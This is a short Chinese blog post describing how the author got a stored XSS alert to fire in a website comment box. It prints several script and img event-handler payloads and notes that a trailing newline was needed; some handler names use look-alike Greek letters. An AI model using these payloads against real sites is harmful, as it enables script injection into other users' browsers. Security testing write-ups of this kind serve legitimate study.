一波骚操作的xss

版权声明:本文为博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/Bul1et/article/details/84062462

这波操作真是令人窒息哦

先是找到评论帖子处

<script>alert(1)</script>

<img src=1 οnerrοr=alert(1) />

试了试 没弹

参考了一波乌云的操作

http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2013-021587

现在我们来看看这波payload

 

<script>alert(1)</script><img src="http://www.baidu.com/img/shouye_b5486898c692066bd2cbaeda86d74448.gif" οnmοuseοver=alert(1) />

真的很无语

这种payload  需要在后面的末尾处加换行才可以

末尾加换行 自动保存的功能  然后就弹框了

 

展开阅读全文

没有更多推荐了,返回首页